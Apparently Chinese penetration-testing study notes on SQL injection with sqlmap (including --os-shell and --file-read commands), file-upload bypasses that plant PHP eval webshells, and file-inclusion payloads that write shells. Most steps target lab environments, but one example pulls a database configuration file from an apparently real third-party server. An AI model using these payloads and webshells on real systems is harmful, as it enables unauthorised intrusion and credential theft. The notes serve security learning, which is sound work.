后端管理平台验证IP地址,在验证时可能存储到数据库中,再进行查询,造成select语句的SQL注入漏洞
后端管理平台验证IP地址,直接在后端进行通过白名单来匹配,会造成XXF绕过
数据请求格式
普通字符串格式
通过抓包进行识别
一般在POST请求中的请求体
admin=12345&password=123456
json格式
PHP代码
// 将 JSON 数据解码为 PHP 数组
$data = json_decode($jsonData, true);
// 在此处处理登录逻辑
$username = $data['username'];
$password = $data['password'];
$sql="select * from admin where username='$username' and password='$password'";
$data=mysqli_query($con,$sql);
$rowcount=mysqli_num_rows($data);
构造方法基本相同,直接在参数后面写SQL注入的payload

采用加密编码传输
PHP实现
<?php
// 引入数据库配置文件
include '../config.php';
// 读取HTML模板文件内容
$template = file_get_contents('new.html');
// 获取GET参数'id',如果不存在则默认为'MQ=='
$id = $_GET['id'] ?? 'MQ==';
**// 使用base64解码获取的'id'参数
$bid = base64_decode($id);
// 构造SQL查询语句,根据解码后的'id'查询数据库中的新闻信息
$sql = "SELECT * FROM news WHERE id='$bid'";**
$data = mysqli_query($con, $sql);
示例代码:
http://example.com/news.php?id=MQ==
#在构造payload时,需要识别MQ==属于什么加密/编码格式
## 构建payload
### 对pyload 进行相同格式的加密或编码
MQ== ----> base64编码 1
id=1' order by 1 --+
--->base64编码
MScgb3JkZXIgYnkgMSAtLSs=
http://example.com/news.php?id=MScgb3JkZXIgYnkgMSAtLSs=
SQLMap

一般使用
注意:
进行注入https测试点时,需要加入
-force-ssl
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p "page,id")
-D "" #指定数据库名
-T "" #指定表名
-C "" #指定字段
-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--time-sec=(2,5) #延迟响应,默认为5
--data #通过POST发送数据
--columns #列出字段
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--users #列数据库所有用户
--passwords #数据库用户所有密码
--privileges #查看用户权限(--privileges -U root)
-U #指定数据库用户
--dbs #列出所有数据库
--tables -D "" #列出指定数据库中的表
--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段
--dump-all #列出所有数据库所有表
--exclude-sysdbs #只列出用户自己新建的数据库和表
--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges #查看权限
--is-dba #是否是数据库管理员
--roles #枚举数据库用户角色
--udf-inject #导入用户自定义函数(获取系统权限)
--union-check #是否支持union 注入
--union-cols #union 查询表记录
--union-test #union 语句测试
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交数据(--data "page=1&id=2")
--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺骗(--referer "http://www.baidu.com")
--user-agent "" #自定义user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定关键词,字符串匹配.
--threads #采用多线程(--threads 3)
--sql-shell #执行指定sql命令
--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #读取指定文件
--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #要写入的文件绝对路径
--os-cmd=id #执行系统命令
--os-shell #系统交互shell
--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #读取win系统注册表
--priv-esc #
--time-sec= #延迟设置 默认--time-sec=5 为5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入
编码绕过
如果遇到数据进行了base64编码
python sqlmap.py -u https://www.example.com?id=Mg== –tamper=base64encode.py
场景1:遇到sql注入的关键字(SELECT、AND、SLEEP、ELT)所有大写都被过滤
尝试开发自己的Tamper脚本,放到sqlmap目录下的tamper文件夹下
# 导入 SQLMap 中定义的优先级枚举
from lib.core.enums import PRIORITY
# 设置 tamper 脚本的优先级为低(LOW)
priority = PRIORITY.LOW
# 定义一个空的函数 dependencies,用于声明脚本的依赖关系,这里没有具体的实现。
def dependencies():
pass
# 定义 tamper 函数,它接受一个 payload 参数和其他关键字参数。
def tamper(payload, **kwargs):
# 如果存在有效的 payload
if payload:
# 替换 payload 中的一些 SQL 注入关键字,试图绕过过滤机制
payload = payload.replace('SELECT', 'sElEct')
payload = payload.replace('OR', 'Or')
payload = payload.replace('AND', 'And')
payload = payload.replace('SLEEP', 'SleeP')
payload = payload.replace('ELT', 'Elt')
# 返回处理后的 payload
return payload
测试
python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” –tamper=bypass.py
POST请求
首先抓到POST请求的数据包
修改post包,在需要进行注入的地方加*号
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0*
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://testphp.vulnweb.com
Connection: keep-alive
Referer: http://testphp.vulnweb.com/login.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
uname=123*&pass=1234*
保存到指定目录
python sqlmap.py -r .\test.txt
JSON格式的请求
抓取包
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0*
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://testphp.vulnweb.com
Connection: keep-alive
Referer: http://testphp.vulnweb.com/login.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
{
"username": "admin*",
"password": "123456*"
}
实行注入:
python sqlmap.py-r .\json.txt
实用参数
显示详细输出
参数:-v
v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容
配置代理
--proxy "http://xx:xx" #代理注入
搭配burp
python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" --level=3 --risk=2 –proxy "http://127.0.0.1:8080/"
确认关闭代理后,打开burp,将对应的代理的URL,使用 --proxy语句跟在sqlmap执行语句之后;
发现burp中接受到注入的的数据包,便于后期分析注入原理。
指纹识别
--user-agent "" #自定义user-agent --random-agent #随机user-agent
- sqlmap的固有流量特征 :数据包user-agent中会默认其版本号
解决方式:通过自定义或者随机ua头,避免被过滤
通过自定义user-agent:--user-agent ""
随机user-agent:python sqlmap.py -u "http://192.168.137.1:84/sqli/new.php?id=1" -v 4 –random-agent
时间延迟
--time-sec=5#延迟响应,默认迟为5秒。
-time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围 ,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句。
可以针对WAF
--level --risk等级限制
--level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3) #测试执行的风险等级,默认为1
- 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。
文件上传
-
无文件解析==安全问题上,格式解析是一对一的 (不能jpg解析php)== 换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
-
文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。
根据所使用的后端语言不同,文件解析的后缀格式就有所不同,(排除中间件漏洞)所解析的格式时一对一
环境部署:https://github.com/ffffffff0x/f8x
字典工具:https://github.com/fuzzdb-project/fuzzdb
靶场:https://github.com/sqlsec/upload-labs-docker
靶场搭建
1、安装docker环境
f8x -d
2、构建靶场
cd upload-labs-docker
docker-compose up -d
绕过方式
前端绕过
判断方式:
-
通过抓包,上传PHP后缀文件,没有抓到数据包,但是浏览器就提醒文件类型不正确
-
检查前端页面,发现有检查文件后缀的相关函数
绕过方式:
方式一:
首先将木马文件的后缀修改为jpg,可以通过过滤的文件后缀
通过burp抓取到数据包,修改回对应的木马文件解析后缀
木马程序成功上传,即可通过哥斯拉,获取权限
方式二:
在浏览器中,F12
将提交按钮中触发的文件检查后缀的函数删除
后端绕过
黑名单绕过
.htaccess绕过
.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
绕过方式:
方式一:
上传.htaccess文件
<FilesMatch "\.jpg"> SetHandler application/x-httpd-php </FilesMatch>上传.jpg后缀的webshell一句话木马
连接--使用webshell工具连接.jpg的路径
方式二:
将木马后缀修改上传对应设置的文件后缀 .png,后上传
通过burp进行抓包,并将文件后缀修改为**.htaccess** ,并将代码内容修改为AddType application/x-httpd-php .png
注意 :直接访问对应上传1.png的路径
需要注意:无文件解析安全问题上,格式解析是一对一的
例如:规定的解析规则是AddType application/x-httpd-php .png
只会解析.png后缀的文件
文件头判断
通过文件头判断文件后缀
绕过方式
首先将木马文件代码前加入文件头(GIF89a)gif所有文件默认的文件头
将任意的gif文件上传,获取文件格式Content-Type: image/gif
将木马文件进行上传,并将文件格式修改为获取的gif文件格式,然后上传
成功上传,并获取到文件上传路径URL:192.168.200.130:30004/upload/shell.php
通过哥斯拉,通过后门,获取权限
黑名单-过滤不严
无递归安全问题

无递归安全问题:只检测一次,没有循环
思路:
-
使用没有被过滤的php后缀文件
-
判断替换的函数是否对大小写敏感,尝试使用大小写替换绕过
-
无递归可以尝试使用
pphphp来绕过
绕过方法:
正常上传木马程序shell.php,发现有黑名单过滤关键词"php"
抓包,将文件后缀修改为.pphphp即可成功上传
通过哥斯拉,连接后门,获取权限
大小写不敏感

str_replace():区分大小写,尝试使用大小写绕过
window:大小写过滤不敏感
inux:大小写过滤敏感
绕过方法:
直接使用木马文件shell.php上传,后缀会被替换为空
将后缀名修改为.phP,则可以绕过过滤
获取上传地址的URL
使用webshell工具连接后门
过滤不严格
原理:源码通过黑名单中的关键词后缀进行过滤,但是由于,无法考虑全面而造成可以通过其他后缀名称进行绕过 ,使用字典替换抓包的文件后缀,通过判断长度变化,是否成功上传对应的木马文件
绕过方式:
上传木马文件shell.php,通过抓包发送至Intruder
选择Clear$清除所有选中,选择 ∗ ∗ 木马文件后缀 p h p ,并按下 A d d 清除所有选中,选择木马文件后缀php,并按下Add清除所有选中,选择∗∗木马文件后缀php,并按下Add替换该后缀
选择Payloads,Payload Options→Load导入对应php后缀替换字典G:\develop\safety\字典\fuzzdb-master\attack\file-upload\alt-extensions-php.txt
选择右上角Start attack,发现Length的长度不同,1573的是没有替换成功的,1625是替换成功的(不是绝对的,还需要通过哥斯拉验证后妈是否可以连接才能确定)
访问对应的URL文件上传地址:http://192.168.200.130:30009/upload/shell.php5
通过哥斯拉,连接后门,获取权限
低版本GET-%00截断
适用范围
-
php<=5.3.4
-
magic_quotes_gpc=off
PHP 内核是由C语言实现的,所以使用了语言中的一些字符串处理函数。比如在连接字符串时候,0字节(x00)将作为字符串结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断 file 变量之后的字符串
原理:将木马文件以.jpg格式上传,可以获得到一个对应.jpg文件img src="./upload/9720240216044425.jpg通过修改POST中URL路径使用%00截取,也就是说只有前面x.php被拼接到名称中,后面都被舍弃,在文件解析时候,依照被拼接的x.php进行文件解析,木马文件被成功解析
绕过方式:
随便上传文件,抓包并发送至Repeater,并发送查看回显数据,PHP版本为5.2.17
将木马文件修改为**.jpg** ,并上传抓包,将POST中URL路径路径加上**/var/www/html/upload/a.php%00**
访问对应的URL文件上传地址:http://192.168.200.130:30007/upload/a.php
通过哥斯拉,连接后门,获取权限
URL路径出现在POST下面的数据包中,需要手动解码

绕过方法:
上传木马文件修改为.jpg格式,抓包,发现URL路径出现在POST下面的数据包中
将./upload/后面加上x.php%00,并选中该行,右键选择Convert selection → URL →URL-decode将所选内容转换为 URL →→URL 解码(进行手动转码)
访问对应的URL文件上传地址:http://192.168.200.130:30008/upload/x.php
通过哥斯拉,连接后门,获取权限
解释:
当URL路径出现在请求头中,URL会自动解码进入后端处理
当URL路径出现在数据包中,不会对路径的%00自动解码,需要手动解码
条件竞争
条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。
逻辑漏洞:
正确方式:先判断,后保存
错误方式:先保存,后判断,再删除
思路:持续上传php文件,通过持续访问上传的文件,触发php代码(<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>)创建一句话木马。
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
fopen('xiao.php','w'): 打开或创建一个名为 'xiao.php' 的文件,以写入模式 ('w')。
fputs: 将后面的内容写入打开的文件。在这里,它将一段 PHP 代码写入 'xiao.php' 文件中。
绕过思路
创建新的木马文件,其中代码为<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>发送至Intruder
首先刷新想要获取的木马文件路径**(请求页面)http://192.168.200.130:30010/upload/x.php**。通过抓包抓取到请求页面,并将此数据包发送至Intruder
选中Payloads→Payloads Sets→Payload type:Null payloads(负载类型:空负载)
Payload Options →Continue indefinitely(无限继续)
将设置好的木马文件上传,抓包并发送至Intruder,记得删除clear $**(上传发包)**同样设置无限发包
访问对应的URL文件上传地址:http://192.168.200.130:30010/upload/xiao.php
通过哥斯拉,**注意:由于木马文件中的密码有变化,变为<?php eval($_REQUEST[1]);?> 所以在测试后门连接的时候,需要注意,将代码对应修改为1,**连接后门,获取权限
二次渲染
目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作,所以普通的图片马都难逃被渲染的悲剧,那么有没有那种可以绕过渲染的图片呢?
思路:
先搞个正常图片1.gif,上传导出渲染后的图片
将两张图片拉进010编辑器,打开工具→比较文件对比保留(匹配)部分,在保留部分添加后门代码
<?php eval($_POST["pass"]);?>最后利用提示的文件包含执行图片后门代码
pass=phpinfo();
函数缺陷

适用范围:
-
php<5.3.4
-
上传修改的文件名可控
move_uploaded_file():是一个用于将上传文件移动到指定位置的 PHP 函数。
它的语法如下:
move_uploaded_file(string $filename, string $destination): bool
其中,$filename是上传文件的临时路径,$destination是目标位置的路径和文件名。
这个函数的作用是将上传的文件从临时目录移动到指定的位置。它通常用于处理文件上传功能,确保上传的文件能够被正确保存到服务器上的指定位置。
绕过思路
将自定义的保存文件名称写为1.php/.
将木马文件后缀修改为,jpg并上传
上传成功,获取对应的URL:192.168.200.130:30012/upload/1.php/
通过哥斯拉,连接后门,获取权限
白名单绕过
图片马
MIME类型
媒体类型(通常称为 Multipurpose Internet Mai Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。 MIME的组成结构非常简单;由类型与子类型两个字符串中间用"分隔而组成。不允许空格存在type 表示可以被分多个子类的独立类别。subtype 表示细分后的每个类型。
绕过方式:
将木马后缀修改为可以通过文件过滤的后缀png并上传
通过burp进行抓包,并将木马文件后缀名修改回来
成功上传,并获取到文件上传路径URL:http://192.168.200.130:30003/upload/1.php
通过哥斯拉,通过后门,获取权限
中间件漏洞利用方法
1. Apache HTTP Server
-
漏洞类型:
-
解析漏洞 (如
shell.php.jpg按 PHP 解析) -
路径遍历 (
/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd) -
mod_cgi/mod_php 命令注入 (如
%0a换行符绕过)
-
-
利用条件:
-
配置错误(
AddHandler未严格限制后缀) -
旧版本(如 Apache 2.4.49 之前存在路径遍历 RCE)
-
-
防御:
-
更新至最新版本
-
禁用不必要的模块(如
mod_cgi) -
配置
.htaccess限制文件解析:
apache
<FilesMatch "\.(php|php5|phtml)$"> SetHandler application/x-httpd-php </FilesMatch>
-
2. Nginx
-
漏洞类型:
-
解析漏洞 (
/shell.php/x.jpg解析为 PHP) -
空字节截断 (
shell.php%00.jpg) -
HTTP 头注入 (如
X-Forwarded-For导致 SSRF)
-
-
利用条件:
-
配置错误(如
location ~ \.php$匹配规则不严谨) -
旧版本(如 Nginx 0.8.37 之前存在空字节漏洞)
-
-
防御:
-
使用精确路径匹配:
nginx
location ~ ^/php-fpm/(.*\.php)$ { ... } -
禁用
fastcgi_split_path_info
-
3. Tomcat
-
漏洞类型:
-
默认管理界面弱口令 (
/manager/html) -
WAR 文件部署漏洞(上传恶意 WAR 包)
-
CVE-2017-12615(PUT 方法任意文件上传)
-
-
利用条件:
-
管理界面未删除或弱口令(默认
tomcat:tomcat) -
启用 PUT 方法且目录可写
-
-
防御:
-
删除默认管理界面
-
配置强密码并限制访问 IP
-
禁用 PUT 方法:
xml
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="127\.0\.0\.1" />
-
4. IIS
-
漏洞类型:
-
解析漏洞 (如
.asa、.aspx后缀文件解析为 ASP) -
CGI 路径遍历 (如
/scripts/.%2e/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir) -
短文件名漏洞 (
shell.p~1.jpg对应shell.php5.jpg)
-
-
利用条件:
-
旧版本(如 IIS 6.0 解析漏洞)
-
启用不安全的 CGI 模块
-
-
防御:
-
更新至最新版本
-
禁用不必要的 ISAPI 扩展
-
使用 URLScan 过滤危险请求
-
编辑器漏洞利用方法
1. CKEditor
-
漏洞类型:
-
文件上传漏洞(绕过后缀过滤上传 PHP/JSP)
-
XSS 注入(通过富文本编辑器插入恶意 JS)
-
-
利用条件:
-
未配置文件上传白名单
-
未对用户输入进行 HTML 实体编码
-
-
防御:
-
配置白名单:
javascript
config.filebrowserUploadAllowedExtensions = 'jpg|jpeg|png|gif'; -
输出时使用
htmlspecialchars()转义
-
2. TinyMCE
-
漏洞类型:
-
JavaScript 注入 (通过
script标签或事件属性) -
文件上传绕过 (如
shell.php.jpg)
-
-
利用条件:
-
启用
allow_html_in_named_anchor选项 -
上传路径未限制执行权限
-
-
防御:
-
禁用危险选项:
javascript
valid_elements: 'a[href|title],img[src|alt]', -
使用 Content Security Policy(CSP)限制脚本源
-
3. 富文本编辑器通用漏洞
-
漏洞类型:
-
Markdown 解析漏洞(如 GitHub Flavored Markdown 的代码块转义失败)
-
HTML sanitizer 绕过 (如
javascript:伪协议编码绕过过滤)
-
-
利用条件:
-
解析器未正确处理特殊字符(如
\、%00) -
未实现递归清理(如嵌套标签绕过)
-
-
防御:
-
使用成熟的 HTML 净化器(如 PHP 的 HTMLPurifier)
-
对用户输入进行多层过滤(如 XSS 过滤器 + 内容安全策略)
-
存储安全
解析方案-执行权限
原理:开启禁止目录执行,将服务器的 文件上传后存储目录,取消读取和执行的权限
在文件上传的目录取消执行权限
再次访问上传的木马文件,发现报错403,至此文件上传漏洞不能被利用

绕过思路:
将上传的文件,移动到其他有执行权限的目录下。
解析方案-解码还原
技术实现
上传的图片---->转换成图片数据(base64数据)
显示图片 ---> base64数据解码-->数据解析
图片没有文件后缀 读取的是数据
(固定协议:data:image/png;base64,)
接收到上传的后缀文件,读取文件的内容,将内容进行base64编码后保存
显示图片只需要将base64编码后的内容进行解码,即可读取文件
<?php
// 处理文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
// 获取上传的文件信息
$file = $_FILES['file'];
// 获取文件名和临时文件路径
$filename = $file['name'];
$tmpFilePath = $file['tmp_name'];
// 将文件内容转换为Base64编码
$base64Data = base64_encode(file_get_contents($tmpFilePath));
// 输出Base64编码的文件内容
echo $base64Data;
// 如果是图片文件,可以将其在页面上显示
echo '<img src="data:image/jpeg;base64,' . $base64Data . '" alt="上传的图片">';
}
?>
数据做存储,解析固定(文件后缀名无关)
当服务器把上传的文件,利用base64编码编码为数据存储,也就是说从根本上解决了文件上传漏洞的问题,以数据存储就没有其他类型的文件解析即使上传后门文件,最后也是被当成图片去解析,由固定的协议去解析数据(data:image/png;base64,base数据)
存储方案-分站存储
网站和存储进行分离
-
images.xiaodi8.com 存储(另一台服务器,目录权限锁死,只提供存储服务,不提供解析服务,即使上传木马文件,连接后门也无用)
可能搭配解码还原
存储图片在另一台服务,有关于上传文件还使用base64编译为数据,进一步放置了文件上传的隐患
存储方案-OSS对象
Access控制-OSS对象存储-Bucket对象
上传的文件只能当作一个网盘来看,不提供解析服务,只提供下载
判断方法
#如何判断
-
如果目录下已经上传进去木马文件,访问其上传路径发现报错403禁止访问,可能是文件上传后存储目录不给执行权限
-
在上传文件的时候,抓取数据包,如果发现是由固定的协议(data:image/png;base64,base数据)则就是解码还原
-
上传图片后,查看图片URL地址中的域名是否和目标上传地址一致,如果不一致则是分站存储
-
如果访问上传的文件路径,发现访问及下载,多半是OSS对象
文件包含
文件包含
原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时, 直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。 在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞
包含的文件被当做脚本语言去代码执行
漏洞原因:
1、使用文件包含函数 2、包含的文件可控
简单复现:
创建include.php文件,代码include(_GET\['file'\]);:使用include函数来包_GET['file'],这是危险的做法,因为用户可以通过修改URL参数传递恶意文件路径,导致安全漏洞。
创建2.txt,代码内容<?php phpinfo();?>
访问对应文件路径,并传递参数http://192.168.137.1:84/include.php?file=2.txt
相当于include('2.txt');`
漏洞分类:
-
本地包含-Local File Include-LFI
-
远程包含-Remote File Include-RFI
-
差异原因:代码过滤和环境配置文件开关决定
开启本地包含:allow_url_fopen=on
开启远程包含:allow_url_include=on
漏洞发现
白盒审计
白盒发现: 1、可通过应用功能追踪代码定位审计 2、可通过脚本特定函数搜索定位审计 3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒分析
黑盒发现:主要观察参数传递的数据和文件名是否对应 URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
利用方式
本地利用思路:
-
搭配文件上传(包含恶意代码即可)
-
使用伪协议
-
包含日志文件
-
包含session
支持协议:

php://input与data://都需要开启allow_url_include才能使用
参考:https://blog.csdn.net/unexpectedthing/article/details/121276653
文件读取
1、file:///d:/1.txt 读取d盘下的1.txt文件内容(绝对路径)
2、php://filter/read=convert.base64-encode/resource=1.php 读取名为1.php的文件**(当前网址存放源码目录下)** ,并将其内容以base64编码的形式返回。(相对路径)
3、跨目录访问
http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=.../.../.../1.txt
敏感目录:
【安全知识】------系统敏感文件路径汇总_windows10 安全 敏感文件存放位置-CSDN博客
文件写入
1、http://192.168.137.1:84/include.php?file=php://input在Post data中写入
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>')?>成功写入文件并可以访问执行2、http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php 在Post data中写入content=131成功写入文件并可以访问执行
需要满足的条件:
1、
file_put_contents($_GET['file'],$_POST['content']);使用该方式执行文件写入,必须要在代码中有这个才可以2、
$_GET['file']: 通过GET请求传递的**file**参数,用于指定要写入内容的文件路径。这可能包含相对或绝对路径,具体取决于如何使用该代码3、
$_POST['content']: 通过POST请求传递的**content**参数,用于指定要写入到文件中的内容。这是用户提供的数据,可以是任何字符串4、该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
php://filter/write=convert.base64-encode/resource=phpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个示例通过php://input伪协议,尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell,允许通过URL参数执行任意代码
代码执行
1、http://192.168.137.1:84/include.php?file=php://input Post data中写入
<?php phpinfo();?>2、http://192.168.137.1:84/include.php?filedata://text/plain,<?php phpinfo();?>
3、http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+使用data代码执行,通过base64编码的方式执行 phpinfo() 函数
远程利用
直接搭建一个可访问的远程URL包含文件
前提allow_url_include=on
搭建远程访问的服务器,创建file.txt内容为<?php eval($_POST["pass"]);?> ,并使用远程包含,将对应文件地址替换为远程创建的文件的ip访问地址即可
文件&目录安全
黑盒分析
1、功能点 文件上传,文件下载,文件删除,文件管理器等地方
2、URL特征 文件名: download,down,readfile,read,del,dir,path,src,Lang等 参数名: file、path、data、filepath、readfile、data、url、realpath等
白盒分析
查看源码中是否存在:上传类函数,删除类函数,下载类函数,目录操作函数,读取查看函数等
文件下载
文件下载=文件读取
通常的利用方式:下载敏感文件(如数据库文件、配置文件、中间件配置、系统配置等)
利用点:
一般出现在文件下载的位置
直连文件下载:
https://dlap5.dbkan.com/down/20250305/dangbeimarket_6.0.0_603_znds.apk
--> 修改URL为其他文件(如https://dlap5.dbkan.com/down/20250305/index.php ),会直接解析该php文件,而不会下载到本地,看不到源码
下载协议下载:
http://down.znds.com/getdownurl/?s=L2Rvd24vMjAyNTAzMDUvZGFuZ2JlaW1hcmtldF82LjAuMF82MDNfem5kcy5hcGs=
---> 使用协议进行下载,源码可以看到,下载php文件会直接下载到本地
安全问题: 下载的文件以参数值去发送解析下载 如果更改的参数值就是指定下载文件
案例:https://67.202.70.133/files/readfile.php?file=readfile.php (使用参数进行下载,尝试访问php,发现被下载到本地)
-
https://67.202.70.133/files/readfile.php?file=.../index.php
-
https://67.202.70.133/files/readfile.php?file=.../configuration.php
-
依次通过下载**
index.php** 主页文件,根据源码泄露信息,确认是Joomle搭建的 -
查找Joomle默认的数据库配置文件,并==进行下载
configuration.php,发现泄露数据库密码用户名等隐私信息==
-
敏感路径
windows系统:
C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息
Linux系统:
